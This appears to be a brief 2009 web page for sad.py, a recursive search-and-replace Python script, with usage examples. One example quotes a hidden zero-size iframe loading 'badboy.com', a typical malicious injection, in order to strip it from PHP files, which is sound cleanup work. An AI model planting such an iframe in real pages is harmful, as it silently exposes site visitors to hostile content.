sad.py
11/05/09 20:12
Search And Replace tool for the pythonist.
Walk recursively the directory. Look for matching file extensions. Find and replace your strings.
Usage:
Example 1:
Example 2:
Download:
sad.py
Walk recursively the directory. Look for matching file extensions. Find and replace your strings.
Usage:
sad.py <find> <replace> <file_extension>
Example 1:
sad.py old_text new_text txt
Example 2:
sad.py "<iframe src=\"http://badboy.com" width=0 height=0 style=\"hidden\" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>" "" php
Download:
sad.py
Comments